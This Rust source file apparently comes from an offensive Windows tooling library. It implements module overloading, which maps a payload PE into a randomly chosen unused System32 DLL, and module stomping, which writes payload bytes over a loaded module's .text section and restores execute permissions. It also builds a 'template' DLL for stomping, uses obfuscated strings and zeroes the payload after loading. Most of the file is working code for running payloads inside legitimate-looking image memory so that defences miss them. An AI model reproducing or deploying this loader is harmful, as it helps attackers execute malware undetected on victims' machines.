1#![cfg(windows)]
16#![cfg_attr(docsrs, feature(doc_cfg))]
17
18use data::lc;
19use data::HANDLE;
20use data::{section_ascii_name, PeManualMap, PeMetadata, PAGE_EXECUTE_READ, PAGE_READWRITE, PVOID};
21use nanorand::{BufferedRng, Rng, WyRand};
22use std::{
23 cell::UnsafeCell,
24 env,
25 ffi::c_void,
26 fs,
27 mem::size_of,
28 path::Path,
29 ptr::{self, copy_nonoverlapping},
30};
31use windows_sys::Win32::System::SystemServices::IMAGE_BASE_RELOCATION;
32use winproc::Process;
33
34fn find_suitable_module(function_size: u32) -> usize {
35 let process = Process::current();
36 let modules = process.module_list().unwrap();
37 let mut suitable_text_sections: Vec<usize> = vec![];
38 for m in modules {
39 let module_base_address = m.handle() as usize;
40 let offset = is_suitable(function_size, module_base_address);
41 if offset != 0 && !m.name().unwrap().contains(".exe") {
42 return module_base_address + offset as usize;
43 }
44
45 let module_metadata = manualmap::get_pe_metadata(module_base_address as *const u8, false);
46 if module_metadata.is_ok() {
47 let pe_metadata = module_metadata.unwrap();
48 for section in pe_metadata.sections {
49 if section_ascii_name(§ion.Name) == b".text" {
50 unsafe {
51 if section.Misc.VirtualSize > function_size {
52 suitable_text_sections.push(module_base_address);
53 }
54 }
55 }
56 }
57 }
58 }
59
60 if suitable_text_sections.len() > 0 {
61 return suitable_text_sections[0];
62 }
63
64 0
65}
66
67fn is_suitable(function_size: u32, module_base_address: usize) -> u32 {
68 unsafe {
69 let exception_directory = manualmap::get_runtime_table(module_base_address as *mut _);
70 let mut rt = exception_directory.0;
71 if rt == ptr::null_mut() {
72 return 0;
73 }
74
75 let items = exception_directory.1 / 12;
76 let mut count = 0;
77 while count < items {
78 let runtime_function = *rt;
79 let size = runtime_function.end_addr - runtime_function.begin_addr;
80 if size > function_size {
81 return runtime_function.begin_addr;
82 }
83
84 rt = rt.add(1);
85 count += 1;
86 }
87 }
88
89 0
90}
91
92pub fn find_decoy_module(min_size: i64) -> String {
97 let directory_path = format!("{}\\{}", env::var("WINDIR").unwrap(), "System32");
98 let mut files: Vec<String> = vec![];
99 for entry in fs::read_dir(directory_path).unwrap() {
100 let p = entry.unwrap();
101 let path = p.path();
102
103 if !path.is_dir() && path.to_str().unwrap().ends_with(".dll") {
104 let slice: Vec<String> = path
105 .to_str()
106 .unwrap()
107 .to_string()
108 .split("\\")
109 .map(str::to_string)
110 .collect();
111 files.push(slice[slice.len() - 1].to_string());
112 }
113 }
114
115 let process = Process::current();
116 let modules = process.module_list().unwrap();
117 let mut loaded_names: Vec<String> = vec![];
118 for m in modules {
119 loaded_names.push(m.name().unwrap().to_lowercase());
120 }
121
122 files.retain(|f| !loaded_names.contains(&f.to_lowercase()));
123
124 let mut rng = WyRand::new();
125 while files.len() > 0 {
126 let windir = &lc!("WINDIR");
127 let sys32 = &lc!("System32");
128 let r = rng.generate_range(0..files.len());
129 let windir = std::env::var(windir).unwrap();
130 let path = format!("{}\\{}\\{}", windir, sys32, &files[r]);
131 let size = fs::metadata(&path).unwrap().len() as i64;
132 if size > (min_size * 2) {
133 return path;
134 } else {
135 files.remove(r);
136 }
137 }
138
139 "".to_string()
140}
141
142pub fn read_and_overload(
160 payload_path: &str,
161 decoy_module_path: &str,
162) -> Result<(PeMetadata, usize), String> {
163 if !Path::new(payload_path).is_file() {
164 return Err(lc!("[x] Payload file not found."));
165 }
166
167 let mut file_content =
168 fs::read(payload_path).expect(&lc!("[x] Error opening the payload file."));
169 let result = overload_module(&file_content, decoy_module_path)?;
170 let file_content_ptr = file_content.as_mut_ptr();
171
172 unsafe {
173 for i in 0..file_content.len() {
174 *(file_content_ptr.add(i)) = 0u8;
175 }
176 }
177
178 Ok(result)
179}
180
181pub fn overload_module(
202 file_content: &Vec<u8>,
203 decoy_module_path: &str,
204) -> Result<(PeMetadata, usize), String> {
205 let mut decoy_module_path = decoy_module_path.to_string();
206 if decoy_module_path != "" {
207 if !Path::new(&decoy_module_path).is_file() {
208 return Err(lc!("[x] Decoy file not found."));
209 }
210
211 let decoy_content =
212 fs::read(&decoy_module_path).expect(&lc!("[x] Error opening the decoy file."));
213 if decoy_content.len() < file_content.len() {
214 return Err(lc!("[x] Decoy module is too small to host the payload."));
215 }
216 } else {
217 decoy_module_path = find_decoy_module(file_content.len() as i64);
218 if decoy_module_path == "" {
219 return Err(lc!("[x] Failed to find suitable decoy module."));
220 }
221 }
222
223 let decoy_metadata: (PeManualMap, HANDLE) = manualmap::map_to_section(&decoy_module_path)?;
224
225 let result: (PeMetadata, usize) = overload_to_section(file_content, decoy_metadata.0)?;
226
227 Ok(result)
228}
229
230pub fn overload_to_section(
250 file_content: &Vec<u8>,
251 section_metadata: PeManualMap,
252) -> Result<(PeMetadata, usize), String> {
253 unsafe {
254 let mut region_size: usize = if section_metadata.pe_info.is_32_bit {
255 section_metadata.pe_info.opt_header_32.SizeOfImage as usize
256 } else {
257 section_metadata.pe_info.opt_header_64.size_of_image as usize
258 };
259
260 let mut base_addr_local: PVOID = section_metadata.base_address as PVOID;
261 let mut old_protection_local: u32 = 0;
262 let current_process = dyncvoke_core::INVALID_HANDLE_VALUE;
263 let r = dyncvoke_core::nt_protect_virtual_memory(
264 current_process,
265 &mut base_addr_local as *mut PVOID,
266 &mut region_size as *mut usize,
267 PAGE_READWRITE,
268 &mut old_protection_local as *mut u32,
269 );
270
271 if r != 0 {
272 return Err(lc!("[x] Error changing memory protection."));
273 }
274
275 dyncvoke_core::rtl_zero_memory(base_addr_local, region_size);
276
277 let module_ptr: *const u8 = std::mem::transmute(file_content.as_ptr());
278 let pe_info = manualmap::get_pe_metadata(module_ptr, false)?;
279
280 manualmap::map_module_to_memory(module_ptr, base_addr_local, &pe_info)?;
281 manualmap::relocate_module(&pe_info, base_addr_local);
282 manualmap::rewrite_module_iat(&pe_info, base_addr_local)?;
283 manualmap::set_module_section_permissions(&pe_info, base_addr_local)?;
284
285 Ok((pe_info, base_addr_local as usize))
286 }
287}
288
289pub fn managed_read_and_overload(
307 payload_path: &str,
308 decoy_module_path: &str,
309) -> Result<((Vec<u8>, Vec<u8>), usize), String> {
310 if !Path::new(payload_path).is_file() {
311 return Err(lc!("[x] Payload file not found."));
312 }
313
314 let file_content = fs::read(payload_path).expect(&lc!("[x] Error opening the payload file."));
315 let result = managed_overload_module(file_content.clone(), decoy_module_path)?;
316
317 Ok(((file_content, result.0), result.1))
318}
319
320pub fn managed_overload_module(
341 file_content: Vec<u8>,
342 decoy_module_path: &str,
343) -> Result<(Vec<u8>, usize), String> {
344 let mut decoy_module_path = decoy_module_path.to_string();
345 let decoy_content;
346
347 if decoy_module_path != "" {
348 if !Path::new(&decoy_module_path).is_file() {
349 return Err(lc!("[x] Decoy file not found."));
350 }
351
352 decoy_content =
353 fs::read(&decoy_module_path).expect(&lc!("[x] Error opening the decoy file."));
354 if decoy_content.len() < file_content.len() {
355 return Err(lc!("[x] Decoy module is too small to host the payload."));
356 }
357 } else {
358 decoy_module_path = find_decoy_module(file_content.len() as i64);
359 if decoy_module_path == "" {
360 return Err(lc!("[x] Failed to find suitable decoy module."));
361 }
362 decoy_content =
363 fs::read(&decoy_module_path).expect(&lc!("[x] Error opening the decoy file."));
364 }
365
366 let decoy_metadata: (PeManualMap, HANDLE) = manualmap::map_to_section(&decoy_module_path)?;
367
368 let result: (PeMetadata, usize) = overload_to_section(&file_content, decoy_metadata.0)?;
369
370 Ok((decoy_content, result.1))
371}
372
373pub fn managed_module_stomping(
442 payload_content: &Vec<u8>,
443 mut stomp_address: usize,
444 module_base_address: usize,
445) -> Result<(Vec<u8>, usize), String> {
446 unsafe {
447 let process_handle = dyncvoke_core::INVALID_HANDLE_VALUE;
448 let size = payload_content.len() as u32;
449 if size == 0 {
450 return Err(lc!("[x] Invalid payload."));
451 }
452
453 if stomp_address == 0 {
454 if module_base_address != 0 {
455 let offset = is_suitable(size, module_base_address);
456 if offset != 0 {
457 stomp_address = module_base_address + offset as usize;
458 } else {
459 return Err(lc!(
460 "[x] The selected module is not valid to stomp the payload."
461 ));
462 }
463 } else {
464 stomp_address = find_suitable_module(size);
465 }
466
467 if stomp_address == 0 {
468 return Err(lc!("[x] Failed to find suitable module to stomp to."));
469 }
470 }
471
472 let stomp_address_clone = stomp_address;
473 let real_content = vec![0u8; size as usize];
474 let buffer = std::mem::transmute(real_content.as_ptr());
475 let written = usize::default();
476 let bytes_written: *mut usize = std::mem::transmute(&written);
477 let ret = dyncvoke_core::nt_read_virtual_memory(
478 process_handle,
479 stomp_address_clone as *mut _,
480 buffer,
481 size as usize,
482 bytes_written,
483 );
484
485 if ret != 0 {
486 return Err(lc!("[x] Memory read failed."));
487 }
488
489 let base_address: *mut PVOID = std::mem::transmute(&stomp_address_clone);
490 let s = size as usize;
491 let s: *mut usize = std::mem::transmute(&s);
492 let o = u32::default();
493 let old_protection: *mut u32 = std::mem::transmute(&o);
494 let ret = dyncvoke_core::nt_protect_virtual_memory(
495 process_handle,
496 base_address,
497 s,
498 PAGE_READWRITE,
499 old_protection,
500 );
501
502 if ret != 0 {
503 return Err(lc!("[x] Error changing memory permissions."));
504 }
505
506 let buffer: *mut c_void = std::mem::transmute(payload_content.as_ptr());
507 let written: usize = 0;
508 let bytes_written: *mut usize = std::mem::transmute(&written);
509 let ret_write = dyncvoke_core::nt_write_virtual_memory(
510 process_handle,
511 stomp_address as *mut _,
512 buffer,
513 size as usize,
514 bytes_written,
515 );
516
517 let base_address: *mut PVOID = std::mem::transmute(&stomp_address_clone);
518 let s = size as usize;
519 let s: *mut usize = std::mem::transmute(&s);
520 let o = u32::default();
521 let old_protection: *mut u32 = std::mem::transmute(&o);
522 let ret = dyncvoke_core::nt_protect_virtual_memory(
523 process_handle,
524 base_address,
525 s,
526 PAGE_EXECUTE_READ,
527 old_protection,
528 );
529
530 if ret_write != 0 {
531 return Err(lc!("[x] Payload writing failed."));
532 }
533
534 if ret != 0 {
535 return Err(lc!("[x] Could not restore memory permissions."));
536 }
537
538 Ok((real_content, stomp_address))
539 }
540}
541
542pub fn generate_template(input_file: &str, output_directory: &str) -> Result<(), String> {
571 unsafe {
572 let text_name = &lc!(".text");
573 if !Path::new(input_file).is_file() || !Path::new(output_directory).is_dir() {
574 return Err(lc!("[x] Invalid path."));
575 }
576
577 let mapped_dll = dyncvoke_core::load_library_a(input_file);
578 if mapped_dll == 0 {
579 return Err(lc!("[x] Invalid input dll."));
580 }
581
582 let mapped_dll_metadata = manualmap::get_pe_metadata(mapped_dll as _, false).unwrap();
583 let entry_point;
584 if mapped_dll_metadata.is_32_bit {
585 entry_point =
586 mapped_dll + mapped_dll_metadata.opt_header_32.AddressOfEntryPoint as usize;
587 } else {
588 entry_point =
589 mapped_dll + mapped_dll_metadata.opt_header_64.address_of_entry_point as usize;
590 }
591
592 let mut tls_callback_vas: Vec<usize> = vec![];
593 if mapped_dll_metadata.opt_header_64.number_of_rva_and_sizes >= 10 {
594 let address: *mut u8 = (mapped_dll
595 + mapped_dll_metadata.opt_header_64.datas_directory[9].VirtualAddress as usize)
596 as *mut u8;
597 let address_of_tls_callback = address.add(24) as *mut usize;
598 let mut address_of_tls_callback_array: *mut usize =
599 std::ptr::with_exposed_provenance_mut::<usize>(*address_of_tls_callback);
600
601 while *address_of_tls_callback_array != 0 {
602 tls_callback_vas.push(*address_of_tls_callback_array);
603 address_of_tls_callback_array = address_of_tls_callback_array.add(1);
604 }
605 }
606
607 let mut entrypoint_rva: u32 = 0;
609 let mut tls_callbacks_rvas: Vec<u32> = vec![];
610 for section in &mapped_dll_metadata.sections {
611 if section_ascii_name(§ion.Name) == text_name.as_bytes() {
612 let text_base_address = mapped_dll as usize + section.VirtualAddress as usize;
613 entrypoint_rva = (entry_point as usize - text_base_address) as u32;
614
615 for tls_callback_va in &tls_callback_vas {
616 let tls_rva = (tls_callback_va - text_base_address) as u32;
617 tls_callbacks_rvas.push(tls_rva);
618 }
619
620 break;
621 }
622 }
623
624 let dll_content = fs::read(input_file).expect(&lc!("[x] Error opening the specified dll."));
625
626 let dll_content_buffer = dll_content.as_ptr() as _;
627 let pe_info = manualmap::get_pe_metadata(dll_content_buffer, false).unwrap();
628
629 for section in &pe_info.sections {
630 if section_ascii_name(§ion.Name) == text_name.as_bytes() {
631 let text_base_address: *mut c_void = (dll_content_buffer as usize
632 + section.PointerToRawData as usize)
633 as *mut c_void;
634 let size: usize = section.SizeOfRawData as usize;
635 let u = size / 4;
636 let mut text_content: Vec<u8> = vec![0; size];
637
638 let mut first_buffer: Vec<u8> = vec![0; u * 3];
640 let mut second_buffer: Vec<u8> = vec![0; u];
641 let mut rng = BufferedRng::new(WyRand::new());
642 rng.fill(&mut first_buffer);
643 first_buffer.append(&mut second_buffer);
644
645 copy_nonoverlapping(
646 text_base_address as *mut u8,
647 text_content.as_mut_ptr(),
648 size,
649 );
650
651 let payload_path = format!("{}{}", output_directory, lc!("payload.bin"));
652 let path: &Path = Path::new(&payload_path);
653 let _ = fs::write(path, &text_content);
654
655 let text_base_address: *mut c_void = (dll_content_buffer as usize
656 + section.PointerToRawData as usize)
657 as *mut c_void;
658 let size: usize = section.SizeOfRawData as usize;
659 copy_nonoverlapping(
660 first_buffer.as_ptr() as *const u8,
661 text_base_address as *mut u8,
662 size,
663 );
664
665 let dll_main_template = 214404767416760u64; let entrypoint_addr = (dll_content_buffer as usize
667 + section.PointerToRawData as usize
668 + entrypoint_rva as usize) as *mut u64;
669 *entrypoint_addr = dll_main_template;
670
671 let callback_template = 0xc3 as u8; for tls_callbacks_rva in tls_callbacks_rvas {
673 let tls_callback_addr = (dll_content_buffer as usize
674 + section.PointerToRawData as usize
675 + tls_callbacks_rva as usize)
676 as *mut u8;
677 *tls_callback_addr = callback_template;
678 }
679
680 let template_path = format!("{}{}", output_directory, lc!("template.dll"));
681 let _ = fs::write(&template_path, &dll_content);
682
683 break;
684 }
685 }
686
687 Ok(())
688 }
689}
690
691pub fn template_stomping(
723 template_path: &str,
724 payload_content: &mut Vec<u8>,
725) -> Result<(PeMetadata, usize), String> {
726 unsafe {
727 let text_name = &lc!(".text");
728 if !Path::new(template_path).is_file() {
729 return Err(lc!("[x] Invalid dll path."));
730 }
731
732 let loaded_dll = dyncvoke_core::load_library_a(template_path);
733 if loaded_dll == 0 {
734 return Err(lc!("[x] Error calling LoadLibraryA."));
735 }
736
737 let dll_metadata = manualmap::get_pe_metadata(loaded_dll as _, false).unwrap();
738 for section in &dll_metadata.sections {
739 if section_ascii_name(§ion.Name) == text_name.as_bytes() {
740 let text_address: *mut c_void =
741 (loaded_dll as usize + section.VirtualAddress as usize) as *mut c_void;
742 let text_sect_ending_addr = loaded_dll as usize
743 + section.VirtualAddress as usize
744 + section.Misc.VirtualSize as usize;
745 let text_addr_ptr: *mut PVOID = std::mem::transmute(&text_address);
746 let s: UnsafeCell<isize> = isize::default().into();
747 let size: *mut usize = std::mem::transmute(s.get());
748 *size = section.Misc.VirtualSize as usize;
749 let o = u32::default();
750 let old_protection: *mut u32 = std::mem::transmute(&o);
751 let new_protect: u32 = PAGE_READWRITE;
752
753 let ret = dyncvoke_core::nt_protect_virtual_memory(
754 dyncvoke_core::INVALID_HANDLE_VALUE,
755 text_addr_ptr,
756 size,
757 new_protect,
758 old_protection,
759 );
760
761 if ret != 0 {
762 let _ = dyncvoke_core::free_library(loaded_dll as isize);
763 return Err(lc!("[x] An error ocurred. Dll released."));
764 }
765
766 let handle = dyncvoke_core::INVALID_HANDLE_VALUE;
767 let mut written: usize = 0;
768 let nsize = payload_content.len();
769 let buffer: *mut c_void = payload_content.as_mut_ptr() as _;
770 let bytes_written: *mut usize = &mut written;
771 let ret = dyncvoke_core::nt_write_virtual_memory(
772 handle,
773 text_address,
774 buffer,
775 nsize,
776 bytes_written,
777 );
778 if ret != 0 {
779 let _ = dyncvoke_core::free_library(loaded_dll as isize);
780 return Err(lc!("[x] An error ocurred. Dll released."));
781 }
782
783 relocate_text_section(
784 &dll_metadata,
785 loaded_dll as _,
786 text_address as _,
787 text_sect_ending_addr,
788 );
789
790 let text_address: *mut c_void =
791 (loaded_dll as usize + section.VirtualAddress as usize) as *mut c_void;
792 let text_addr_ptr: *mut PVOID = std::mem::transmute(&text_address);
793 let s: UnsafeCell<isize> = isize::default().into();
794 let size: *mut usize = std::mem::transmute(s.get());
795 *size = section.Misc.VirtualSize as usize;
796 let o = u32::default();
797 let old_protection: *mut u32 = std::mem::transmute(&o);
798 let new_protect: u32 = PAGE_EXECUTE_READ;
799 let ret = dyncvoke_core::nt_protect_virtual_memory(
800 handle,
801 text_addr_ptr,
802 size,
803 new_protect,
804 old_protection,
805 );
806 if ret != 0 {
807 let _ = dyncvoke_core::free_library(loaded_dll as isize);
808 return Err(lc!("[x] An error ocurred. Dll released."));
809 }
810
811 return Ok((dll_metadata, loaded_dll));
812 }
813 }
814
815 Ok((PeMetadata::default(), 0))
816 }
817}
818
819fn relocate_text_section(
824 pe_info: &PeMetadata,
825 image_ptr: *mut c_void,
826 start_address: usize,
827 end_address: usize,
828) {
829 unsafe {
830 let module_memory_base: *mut usize = std::mem::transmute(image_ptr);
831 let image_data_directory;
832 let image_delta: isize;
833 if pe_info.is_32_bit {
834 image_data_directory = pe_info.opt_header_32.DataDirectory[5]; image_delta = module_memory_base as isize - pe_info.opt_header_32.ImageBase as isize;
836 } else {
837 image_data_directory = pe_info.opt_header_64.datas_directory[5]; image_delta = module_memory_base as isize - pe_info.opt_header_64.image_base as isize;
839 }
840
841 if image_data_directory.VirtualAddress == 0 || image_data_directory.Size == 0 {
842 return;
843 }
844
845 let reloc_table_start = module_memory_base as usize
846 + image_data_directory.VirtualAddress as usize;
847 let reloc_table_end = reloc_table_start + image_data_directory.Size as usize;
848
849 let mut reloc_table_ptr = reloc_table_start as *mut i32;
850
851 while (reloc_table_ptr as usize) + size_of::<IMAGE_BASE_RELOCATION>()
852 <= reloc_table_end
853 {
854 let ibr: *mut IMAGE_BASE_RELOCATION = std::mem::transmute(reloc_table_ptr);
855 let image_base_relocation = *ibr;
856
857 if image_base_relocation.VirtualAddress == 0
858 || (image_base_relocation.SizeOfBlock as usize)
859 < size_of::<IMAGE_BASE_RELOCATION>()
860 {
861 break;
862 }
863
864 let reloc_count: isize = (image_base_relocation.SizeOfBlock as isize
865 - size_of::<IMAGE_BASE_RELOCATION>() as isize)
866 / 2;
867
868 for i in 0..reloc_count {
869 let reloc_entry_ptr = (reloc_table_ptr as usize
870 + size_of::<IMAGE_BASE_RELOCATION>() as usize
871 + (i * 2) as usize) as *mut u16;
872 let reloc_value = *reloc_entry_ptr;
873
874 let reloc_type = reloc_value >> 12;
875 let reloc_patch = reloc_value & 0xfff;
876
877 if reloc_type != 0 {
878 if reloc_type == 0x3 {
879 let patch_ptr = (module_memory_base as usize
880 + image_base_relocation.VirtualAddress as usize
881 + reloc_patch as usize)
882 as *mut i32;
883 let abs = patch_ptr as usize;
884 if abs >= start_address && abs <= end_address.saturating_sub(4)
885 {
886 let original_ptr = *patch_ptr;
887 let patch = original_ptr + image_delta as i32;
888 *patch_ptr = patch;
889 }
890 } else {
891 let patch_ptr = (module_memory_base as usize
892 + image_base_relocation.VirtualAddress as usize
893 + reloc_patch as usize)
894 as *mut isize;
895 let abs = patch_ptr as usize;
896 if abs >= start_address && abs <= end_address.saturating_sub(8)
897 {
898 let original_ptr = *patch_ptr;
899 let patch = original_ptr + image_delta as isize;
900 *patch_ptr = patch;
901 }
902 }
903 }
904 }
905
906 reloc_table_ptr = (reloc_table_ptr as usize
907 + image_base_relocation.SizeOfBlock as usize)
908 as *mut i32;
909 }
910 }
911}
912
913#[cfg(test)]
918mod tests {
919 #[test]
921 fn test_find_decoy_module_min_size() {
922 let min_size: i64 = 1024 * 1024; let _result = min_size;
926 assert!(min_size > 0);
927 }
928
929 #[test]
931 fn test_overload_constants() {
932 use data::PAGE_EXECUTE_READ;
933 use data::PAGE_READWRITE;
934
935 assert_eq!(PAGE_EXECUTE_READ, 0x20);
936 assert_eq!(PAGE_READWRITE, 0x4);
937 }
938
939 #[test]
941 fn test_section_name_patterns() {
942 let text_section = ".text";
944 let data_section = ".data";
945 let rdata_section = ".rdata";
946 let bss_section = ".bss";
947 let reloc_section = ".reloc";
948
949 assert_eq!(text_section.len(), 5);
950 assert_eq!(data_section.len(), 5);
951 assert_eq!(rdata_section.len(), 6);
952 assert_eq!(bss_section.len(), 4);
953 assert_eq!(reloc_section.len(), 6);
954 }
955
956 #[test]
958 fn test_memory_protection_combinations() {
959 use data::PAGE_EXECUTE_READ;
960 use data::PAGE_EXECUTE_READWRITE;
961 use data::PAGE_READONLY;
962 use data::PAGE_READWRITE;
963
964 let execute = PAGE_EXECUTE_READ;
966 assert_eq!(execute, 0x20);
967
968 let read_only = PAGE_READONLY;
970 assert_eq!(read_only, 0x2);
971
972 let read_write = PAGE_READWRITE;
974 assert_eq!(read_write, 0x4);
975
976 let exec_read = PAGE_EXECUTE_READ;
978 assert!(exec_read & 0x20 != 0);
979
980 let exec_read_write = PAGE_EXECUTE_READWRITE;
982 assert!(exec_read_write & 0x40 != 0);
983 }
984
985 #[test]
987 fn test_template_stomping_parameters() {
988 let empty_path = "";
990 assert!(empty_path.is_empty());
991
992 let valid_extension = "test.dll";
993 assert!(valid_extension.ends_with(".dll"));
994 }
995
996 #[test]
998 fn test_file_path_handling() {
999 use std::path::Path;
1000
1001 let path_str = "C:\\Windows\\System32\\kernel32.dll";
1002 let path = Path::new(path_str);
1003
1004 assert!(path.is_absolute());
1005 assert_eq!(path.extension().unwrap_or_default().to_str().unwrap_or(""), "dll");
1006
1007 let path_str2 = "C:/Windows/System32/kernel32.dll";
1009 let path2 = Path::new(path_str2);
1010 assert_eq!(path2.extension().unwrap_or_default().to_str().unwrap_or(""), "dll");
1011 }
1012
1013 #[test]
1015 fn test_payload_buffer_validation() {
1016 let empty_payload: Vec<u8> = Vec::new();
1017 assert!(empty_payload.is_empty());
1018
1019 let small_payload = vec![0x90; 256];
1020 assert_eq!(small_payload.len(), 256);
1021 assert_eq!(small_payload[0], 0x90);
1022
1023 let shellcode_patterns = vec![
1025 vec![0x90], vec![0xCC], vec![0xE9, 0x00, 0x00, 0x00, 0x00], vec![0xFF, 0x25, 0x00, 0x00, 0x00, 0x00], ];
1030
1031 assert!(!shellcode_patterns.is_empty());
1032 assert_eq!(shellcode_patterns.len(), 4);
1033 }
1034
1035 #[test]
1037 fn test_module_handle_types() {
1038 use dyncvoke_core::INVALID_HANDLE_VALUE;
1039
1040 assert_eq!(INVALID_HANDLE_VALUE as isize, -1);
1043
1044 let dummy_handle: isize = 0x12340000;
1046 assert!(dummy_handle != 0);
1047 }
1048
1049 #[test]
1051 fn test_section_alignment_calculations() {
1052 let section_alignment = 0x1000u32;
1053
1054 let test_cases = vec![
1056 (0x400u32, 0x1000), (0x1000u32, 0x1000), (0x1001u32, 0x2000), (0x1FFFu32, 0x2000), (0x2000u32, 0x2000), ];
1062
1063 for (raw_size, expected) in test_cases {
1064 let aligned = ((raw_size + section_alignment - 1) / section_alignment) * section_alignment;
1065 assert_eq!(aligned, expected, "Failed for raw_size: 0x{:x}", raw_size);
1066 }
1067 }
1068
1069 #[test]
1071 fn test_file_alignment_calculations() {
1072 let file_alignment = 0x200u32;
1073
1074 let test_cases = vec![
1076 (0x100u32, 0x200),
1077 (0x200u32, 0x200),
1078 (0x201u32, 0x400),
1079 (0x3FFu32, 0x400),
1080 (0x400u32, 0x400),
1081 ];
1082
1083 for (size, expected) in test_cases {
1084 let aligned = ((size + file_alignment - 1) / file_alignment) * file_alignment;
1085 assert_eq!(aligned, expected, "Failed for size: 0x{:x}", size);
1086 }
1087 }
1088
1089 #[test]
1091 fn test_offset_calculations() {
1092 let base_address = 0x140000000u64;
1093 let rva = 0x1000u32;
1094
1095 let va = base_address + rva as u64;
1096 assert_eq!(va, 0x140001000);
1097 }
1098
1099 #[test]
1101 fn test_export_directory_parsing() {
1102 const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
1104
1105 assert_eq!(IMAGE_DIRECTORY_ENTRY_EXPORT, 0);
1106
1107 const SIZE_OF_EXPORT_DIRECTORY: u32 = 40;
1109
1110 assert_eq!(SIZE_OF_EXPORT_DIRECTORY, 40);
1111 }
1112
1113 #[test]
1115 fn test_import_directory_parsing() {
1116 const IMAGE_DIRECTORY_ENTRY_IMPORT: usize = 1;
1117
1118 assert_eq!(IMAGE_DIRECTORY_ENTRY_IMPORT, 1);
1119
1120 const SIZE_OF_IMPORT_DESCRIPTOR: u32 = 20;
1122
1123 assert_eq!(SIZE_OF_IMPORT_DESCRIPTOR, 20);
1124 }
1125
1126 #[test]
1128 fn test_tls_directory_parsing() {
1129 const IMAGE_DIRECTORY_ENTRY_TLS: usize = 9;
1130
1131 assert_eq!(IMAGE_DIRECTORY_ENTRY_TLS, 9);
1132 }
1133
1134 #[test]
1136 fn test_reloc_directory_parsing() {
1137 const IMAGE_DIRECTORY_ENTRY_BASERELOC: usize = 5;
1138
1139 assert_eq!(IMAGE_DIRECTORY_ENTRY_BASERELOC, 5);
1140
1141 const IMAGE_REL_BASED_ABSOLUTE: u8 = 0;
1143 const IMAGE_REL_BASED_HIGHLOW: u8 = 3;
1144 const IMAGE_REL_BASED_DIR64: u8 = 10;
1145
1146 assert_eq!(IMAGE_REL_BASED_ABSOLUTE, 0);
1147 assert_eq!(IMAGE_REL_BASED_HIGHLOW, 3);
1148 assert_eq!(IMAGE_REL_BASED_DIR64, 10);
1149 }
1150}